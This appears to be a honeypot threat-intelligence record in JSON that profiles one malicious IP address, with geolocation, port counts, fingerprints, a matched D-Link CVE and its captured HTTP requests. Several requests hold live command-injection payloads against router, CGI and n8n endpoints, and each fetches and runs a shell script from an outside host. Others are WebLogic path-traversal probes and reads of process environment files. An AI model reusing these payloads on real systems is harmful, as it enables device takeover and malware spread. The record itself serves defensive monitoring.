{"ip":"65.109.71.228","observed":true,"total_events":46,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 exploit-path hits","confidence":"high","network_type":"CDN","why":["2 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Sent 53,104 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"53,104 bytes sent","bytes_sent":53104,"session_seconds":1,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-08T22:22:39","last_seen":"2026-10-09T13:27:25","events_24h":0,"events_7d":0,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"FI","country_name":"Finland","region":"Uusimaa","city":"Helsinki","lat":60.1719,"lon":24.9347,"asn":24940,"org":"Hetzner Online GmbH"},"source_domain":"static.228.71.109.65.clients.your-server.de","known_scanners":[],"scanner_tag":{"key":"hetzner","label":"Hetzner","category":"hosting_provider","url":"https://www.hetzner.com/"},"cve_matches":[{"cve_id":"CVE-2025-29635","title":"D-Link DIR-823X set_prohibiting - Command Injection","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/goform/set_prohibiting","kev_date_added":"2026-04-24"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":5678,"proto":"tcp","label":"","count":14},{"port":7001,"proto":"tcp","label":"WebLogic","count":12},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":9},{"port":80,"proto":"tcp","label":"HTTP","count":3},{"port":5555,"proto":"tcp","label":"","count":3},{"port":37215,"proto":"tcp","label":"","count":3},{"port":52869,"proto":"tcp","label":"","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cun040_00040013_608dab68","b11cuq060_00050813_95cc9d02","b11cuq070_00850813_aee6d12e"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cun040_00040013_608dab68":4336,"b11cuq060_00050813_95cc9d02":42,"b11cuq070_00850813_aee6d12e":5},"akin_families":{"b11cuq060_00050813_95cc9d02":{"head":"b11cuq060_00050813_95cc9d02","shapes":5,"ips":42}},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15"],"timeline":[{"date":"2026-10-08","count":12},{"date":"2026-10-09","count":34}],"recent_events":[{"timestamp":"2026-10-09T13:27:25","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"419\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\"}","body":"apply=Apply&sysCmd=ping+127.0.0.1%3Bcd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+-q+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-O+su9wyp.sh+%7C%7C+curl+-s+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-o+su9wyp.sh+%7C%7C+tftp+-g+168.220.248.106+-r+su9wyp.sh%3B+chmod+%2Bx+su9wyp.sh%3B+sh+su9wyp.sh%3B+rm+-rf+su9wyp.sh","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/boaform/formSysCmd","summary":"","payload_hex":"504f5354202f626f61666f726d2f666f726d537973436d6420485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132332e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d4c656e6774683a203431390d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6170706c793d4170706c7926737973436d643d70696e672b3132372e302e302e3125334263642b253246746d702b2537432537432b63642b25324676617225324672756e2b2537432537432b63642b2532466d6e742b2537432537432b63642b253246726f6f742b2537432537432b63642b2532462533422b776765742b2d712b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d4f2b7375397779702e73682b2537432537432b6375726c2b2d732b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d6f2b7375397779702e73682b2537432537432b746674702b2d672b3136382e3232302e3234382e3130362b2d722b7375397779702e73682533422b63686d6f642b253242782b7375397779702e73682533422b73682b7375397779702e73682533422b726d2b2d72662b7375397779702e7368","method":"POST","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36","ja3":"","session":"40008933-0e5b-4a09-88a2-54aa32901fc3","seq":3,"duration_ms":542,"bytes_in":2178,"bytes_out":234},{"timestamp":"2026-10-09T13:27:24","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"405\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15\"}","body":"directory=%2Ftmp%2F%3Bcd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+-q+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-O+su9wyp.sh+%7C%7C+curl+-s+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-o+su9wyp.sh+%7C%7C+tftp+-g+168.220.248.106+-r+su9wyp.sh%3B+chmod+%2Bx+su9wyp.sh%3B+sh+su9wyp.sh%3B+rm+-rf+su9wyp.sh","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/goform/set_prohibiting","summary":"","payload_hex":"504f5354202f676f666f726d2f7365745f70726f6869626974696e6720485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e33205361666172692f3630352e312e31350d0a436f6e74656e742d4c656e6774683a203430350d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6469726563746f72793d253246746d7025324625334263642b253246746d702b2537432537432b63642b25324676617225324672756e2b2537432537432b63642b2532466d6e742b2537432537432b63642b253246726f6f742b2537432537432b63642b2532462533422b776765742b2d712b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d4f2b7375397779702e73682b2537432537432b6375726c2b2d732b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d6f2b7375397779702e73682b2537432537432b746674702b2d672b3136382e3232302e3234382e3130362b2d722b7375397779702e73682533422b63686d6f642b253242782b7375397779702e73682533422b73682b7375397779702e73682533422b726d2b2d72662b7375397779702e7368","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15","ja3":"","session":"40008933-0e5b-4a09-88a2-54aa32901fc3","seq":1,"duration_ms":100,"bytes_in":715,"bytes_out":78},{"timestamp":"2026-10-09T13:27:24","port":7001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:7001\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/css/../wls-wsat/CoordinatorPortType","summary":"","payload_hex":"474554202f6373732f2e2e2f776c732d777361742f436f6f7264696e61746f72506f72745479706520485454502f312e310d0a486f73743a20<HONEYPOT>3a373030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e33205361666172692f3630352e312e31350d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15","ja3":"","session":"62f63eba-4747-402b-a0a5-c034dbbef0ce","seq":4,"duration_ms":862,"bytes_in":1032,"bytes_out":312},{"timestamp":"2026-10-09T13:27:24","port":7001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:7001\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/images/%252e%252e%252fwls-wsat/CoordinatorPortType","summary":"","payload_hex":"474554202f696d616765732f253235326525323532652532353266776c732d777361742f436f6f7264696e61746f72506f72745479706520485454502f312e310d0a486f73743a20<HONEYPOT>3a373030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"","session":"62f63eba-4747-402b-a0a5-c034dbbef0ce","seq":3,"duration_ms":608,"bytes_in":780,"bytes_out":234},{"timestamp":"2026-10-09T13:27:24","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"433\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15\"}","body":"action=set&object=login&mac=aa:bb:cc:dd:ee:ff&cmd=cd+%2Ftmp+%7C%7C+cd+%2Fvar%2Frun+%7C%7C+cd+%2Fmnt+%7C%7C+cd+%2Froot+%7C%7C+cd+%2F%3B+wget+-q+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-O+su9wyp.sh+%7C%7C+curl+-s+http%3A%2F%2F168.220.248.106%3A9087%2Fpayload%2Fa6i3khk75wgf%2Fsu9wyp.sh+-o+su9wyp.sh+%7C%7C+tftp+-g+168.220.248.106+-r+su9wyp.sh%3B+chmod+%2Bx+su9wyp.sh%3B+sh+su9wyp.sh%3B+rm+-rf+su9wyp.sh","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/supervisor/CloudSetup.cgi","summary":"","payload_hex":"504f5354202f6367692d62696e2f73757065727669736f722f436c6f756453657475702e63676920485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e33205361666172692f3630352e312e31350d0a436f6e74656e742d4c656e6774683a203433330d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a616374696f6e3d736574266f626a6563743d6c6f67696e266d61633d61613a62623a63633a64643a65653a666626636d643d63642b253246746d702b2537432537432b63642b25324676617225324672756e2b2537432537432b63642b2532466d6e742b2537432537432b63642b253246726f6f742b2537432537432b63642b2532462533422b776765742b2d712b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d4f2b7375397779702e73682b2537432537432b6375726c2b2d732b687474702533412532462532463136382e3232302e3234382e313036253341393038372532467061796c6f6164253246613669336b686b37357767662532467375397779702e73682b2d6f2b7375397779702e73682b2537432537432b746674702b2d672b3136382e3232302e3234382e3130362b2d722b7375397779702e73682533422b63686d6f642b253242782b7375397779702e73682533422b73682b7375397779702e73682533422b726d2b2d72662b7375397779702e7368","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15","ja3":"","session":"40008933-0e5b-4a09-88a2-54aa32901fc3","seq":2,"duration_ms":322,"bytes_in":1469,"bytes_out":156},{"timestamp":"2026-10-09T13:27:23","port":7001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:7001\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/css/%252e%252e%252fconsole/css/%252e%252e%252fconsole.portal","summary":"","payload_hex":"474554202f6373732f253235326525323532652532353266636f6e736f6c652f6373732f253235326525323532652532353266636f6e736f6c652e706f7274616c20485454502f312e310d0a486f73743a20<HONEYPOT>3a373030310d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132332e302e302e30205361666172692f3533372e33360d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36","ja3":"","session":"62f63eba-4747-402b-a0a5-c034dbbef0ce","seq":1,"duration_ms":100,"bytes_in":261,"bytes_out":78},{"timestamp":"2026-10-09T13:27:23","port":7001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:7001\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/css/%252e%252e%252fwls-wsat/CoordinatorPortType","summary":"","payload_hex":"474554202f6373732f253235326525323532652532353266776c732d777361742f436f6f7264696e61746f72506f72745479706520485454502f312e310d0a486f73743a20<HONEYPOT>3a373030310d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"","session":"62f63eba-4747-402b-a0a5-c034dbbef0ce","seq":2,"duration_ms":356,"bytes_in":519,"bytes_out":156},{"timestamp":"2026-10-09T13:27:20","port":5678,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"524\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:5678\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36\"}","body":"{\n\t\t\"workflowData\": {\n\t\t\t\"nodes\": [{\n\t\t\t\t\"type\": \"n8n-nodes-base.executeCommand\",\n\t\t\t\t\"parameters\": {\"command\": \"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -O su9wyp.sh || curl -s http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -o su9wyp.sh || tftp -g 168.220.248.106 -r su9wyp.sh; chmod +x su9wyp.sh; sh su9wyp.sh; rm -rf su9wyp.sh\"},\n\t\t\t\t\"name\": \"cmd\",\n\t\t\t\t\"typeVersion\": 1,\n\t\t\t\t\"position\": [0, 0]\n\t\t\t}],\n\t\t\t\"connections\": {}\n\t\t}\n\t}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/rest/workflows/run","summary":"","payload_hex":"504f5354202f726573742f776f726b666c6f77732f72756e20485454502f312e310d0a486f73743a20<HONEYPOT>3a353637380d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b2078363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132342e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d4c656e6774683a203532340d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b0a090922776f726b666c6f7744617461223a207b0a090909226e6f646573223a205b7b0a090909092274797065223a20226e386e2d6e6f6465732d626173652e65786563757465436f6d6d616e64222c0a0909090922706172616d6574657273223a207b22636f6d6d616e64223a20226364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b2077676574202d7120687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d4f207375397779702e7368207c7c206375726c202d7320687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d6f207375397779702e7368207c7c2074667470202d67203136382e3232302e3234382e313036202d72207375397779702e73683b2063686d6f64202b78207375397779702e73683b207368207375397779702e73683b20726d202d7266207375397779702e7368227d2c0a09090909226e616d65223a2022636d64222c0a09090909227479706556657273696f6e223a20312c0a0909090922706f736974696f6e223a205b302c20305d0a0909097d5d2c0a09090922636f6e6e656374696f6e73223a207b7d0a09097d0a097d","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36","ja3":"","session":"43984fd9-6375-4b4a-a6bf-0a78d5137ed0","seq":4,"duration_ms":930,"bytes_in":2979,"bytes_out":312},{"timestamp":"2026-10-09T13:27:19","port":5678,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"456\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:5678\",\"user-agent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\"}","body":"{\n\t\t\t\"files\": {\n\t\t\t\t\"data\": [{\n\t\t\t\t\t\"filepath\": \"/proc/self/environ\",\n\t\t\t\t\t\"mimetype\": \"application/octet-stream\"\n\t\t\t\t}]\n\t\t\t},\n\t\t\t\"command\": \"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -O su9wyp.sh || curl -s http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -o su9wyp.sh || tftp -g 168.220.248.106 -r su9wyp.sh; chmod +x su9wyp.sh; sh su9wyp.sh; rm -rf su9wyp.sh\"\n\t\t}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/form-test/","summary":"","payload_hex":"504f5354202f666f726d2d746573742f20485454502f312e310d0a486f73743a20<HONEYPOT>3a353637380d0a557365722d4167656e743a204d6f7a696c6c612f352e3020285831313b204c696e7578207838365f363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f3132332e302e302e30205361666172692f3533372e33360d0a436f6e74656e742d4c656e6774683a203435360d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b0a0909092266696c6573223a207b0a090909092264617461223a205b7b0a09090909092266696c6570617468223a20222f70726f632f73656c662f656e7669726f6e222c0a0909090909226d696d6574797065223a20226170706c69636174696f6e2f6f637465742d73747265616d220a090909097d5d0a0909097d2c0a09090922636f6d6d616e64223a20226364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b2077676574202d7120687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d4f207375397779702e7368207c7c206375726c202d7320687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d6f207375397779702e7368207c7c2074667470202d67203136382e3232302e3234382e313036202d72207375397779702e73683b2063686d6f64202b78207375397779702e73683b207368207375397779702e73683b20726d202d7266207375397779702e7368220a09097d","method":"POST","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36","ja3":"","session":"43984fd9-6375-4b4a-a6bf-0a78d5137ed0","seq":2,"duration_ms":383,"bytes_in":1456,"bytes_out":156},{"timestamp":"2026-10-09T13:27:19","port":5678,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"456\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:5678\",\"user-agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15\"}","body":"{\n\t\t\t\"files\": {\n\t\t\t\t\"data\": [{\n\t\t\t\t\t\"filepath\": \"/proc/self/environ\",\n\t\t\t\t\t\"mimetype\": \"application/octet-stream\"\n\t\t\t\t}]\n\t\t\t},\n\t\t\t\"command\": \"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -O su9wyp.sh || curl -s http://168.220.248.106:9087/payload/a6i3khk75wgf/su9wyp.sh -o su9wyp.sh || tftp -g 168.220.248.106 -r su9wyp.sh; chmod +x su9wyp.sh; sh su9wyp.sh; rm -rf su9wyp.sh\"\n\t\t}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/webhook/","summary":"","payload_hex":"504f5354202f776562686f6f6b2f20485454502f312e310d0a486f73743a20<HONEYPOT>3a353637380d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31355f3729204170706c655765624b69742f3630352e312e313520284b48544d4c2c206c696b65204765636b6f292056657273696f6e2f31372e33205361666172692f3630352e312e31350d0a436f6e74656e742d4c656e6774683a203435360d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b0a0909092266696c6573223a207b0a090909092264617461223a205b7b0a09090909092266696c6570617468223a20222f70726f632f73656c662f656e7669726f6e222c0a0909090909226d696d6574797065223a20226170706c69636174696f6e2f6f637465742d73747265616d220a090909097d5d0a0909097d2c0a09090922636f6d6d616e64223a20226364202f746d70207c7c206364202f7661722f72756e207c7c206364202f6d6e74207c7c206364202f726f6f74207c7c206364202f3b2077676574202d7120687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d4f207375397779702e7368207c7c206375726c202d7320687474703a2f2f3136382e3232302e3234382e3130363a393038372f7061796c6f61642f613669336b686b37357767662f7375397779702e7368202d6f207375397779702e7368207c7c2074667470202d67203136382e3232302e3234382e313036202d72207375397779702e73683b2063686d6f64202b78207375397779702e73683b207368207375397779702e73683b20726d202d7266207375397779702e7368220a09097d","method":"POST","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15","ja3":"","session":"43984fd9-6375-4b4a-a6bf-0a78d5137ed0","seq":1,"duration_ms":100,"bytes_in":735,"bytes_out":78}],"http_methods":[{"method":"POST","count":27},{"method":"GET","count":16}],"distinct_ports_total":7,"top_paths":[{"path":"/form/","count":3,"ports":1},{"path":"/webhook/","count":3,"ports":1},{"path":"/form-test/","count":3,"ports":1},{"path":"/ctrlt/DeviceUpgrade_1","count":3,"ports":1},{"path":"/boaform/formSysCmd","count":3,"ports":1},{"path":"/goform/set_prohibiting","count":3,"ports":2},{"path":"/rest/workflows/run","count":3,"ports":1},{"path":"/cgi-bin/supervisor/CloudSetup.cgi","count":3,"ports":1},{"path":"/images/%252e%252e%252fwls-wsat/CoordinatorPortType","count":3,"ports":1},{"path":"/css/%252e%252e%252fwls-wsat/CoordinatorPortType","count":3,"ports":1},{"path":"/css/../wls-wsat/CoordinatorPortType","count":3,"ports":1},{"path":"/css/%252e%252e%252fconsole/css/%252e%252e%252fconsole.portal","count":3,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/picsdesc.xml","count":2,"ports":1}],"distinct_paths_total":16,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"419","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>:8080","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2025-29635","tag_type":"cve","title":"D-Link DIR-823X set_prohibiting - Command Injection","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/goform/set_prohibiting","reference_urls":["https://securityaffairs.com/191135/malware/mirai-botnet-exploits-cve-2025-29635-to-target-legacy-d-link-routers.html","https://github.com/D-Link-SA/CVE-2025-29635/blob/main/CVE-2025-29635.md","https://nvd.nist.gov/vuln/detail/CVE-2025-29635"],"kev_date_added":"2026-04-24"}],"data_as_of":"2026-10-17T01:44:04.122041+00:00"}